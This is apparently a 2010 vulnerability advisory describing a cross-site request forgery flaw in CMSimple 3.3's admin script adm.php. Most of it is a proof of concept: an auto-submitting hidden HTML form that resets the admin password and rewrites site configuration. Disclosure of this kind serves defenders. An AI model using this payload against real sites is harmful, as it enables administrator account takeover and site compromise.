Vulnerability ID: HTB22561 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cmsimple.html Product: CMSimple Vendor: Peter Andreas Harteg ( http://www.cmsimple.org/ ) Vulnerable Version: 3.3 and Probably Prior Versions Vendor Notification: 02 August 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/cmsimple/adm.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/"; method="post" name="main" > <input type="hidden" name="security_password" value="newpassword" /> <input type="hidden" name="security_type" value="page" /> <input type="hidden" name="site_title" value='CMSimple site' /> <input type="hidden" name="site_template" value="default" /> <input type="hidden" name="language_default" value="ru" /> <input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" /> <input type="hidden" name="meta_description" value="CMSimple is a content management system" /> <input type="hidden" name="backup_numberoffiles" value="5" /> <input type="hidden" name="images_maxsize" value="150000" /> <input type="hidden" name="downloads_maxsize" value="1000000" /> <input type="hidden" name="mailform_email=" value="" /> <input type="hidden" name="editor_height" value="(screen.availHeight)-400" /> <input type="hidden" name="editor_external" value="" /> <input type="hidden" name="menu_color" value="000000" /> <input type="hidden" name="menu_highlightcolor" value="808080" /> <input type="hidden" name="menu_levels" value="3" /> <input type="hidden" name="menu_levelcatch" value="10" /> <input type="hidden" name="menu_sdoc" value="" /> <input type="hidden" name="menu_legal" value="CMSimple Legal Notices" /> <input type="hidden" name="uri_seperator" value=":" /> <input type="hidden" name="uri_length" value="200" /> <input type="hidden" name="xhtml_endtags" value="" /> <input type="hidden" name="xhtml_amp" value="true" /> <input type="hidden" name="plugins_folder" value="" /> <input type="hidden" name="functions_file" value="functions.php" /> <input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" /> <input type="hidden" name="form" value="array" /> <input type="hidden" name="file" value="config" /> <input type="hidden" name="action" value="save" /> </form> <script> document.main.submit(); </script>
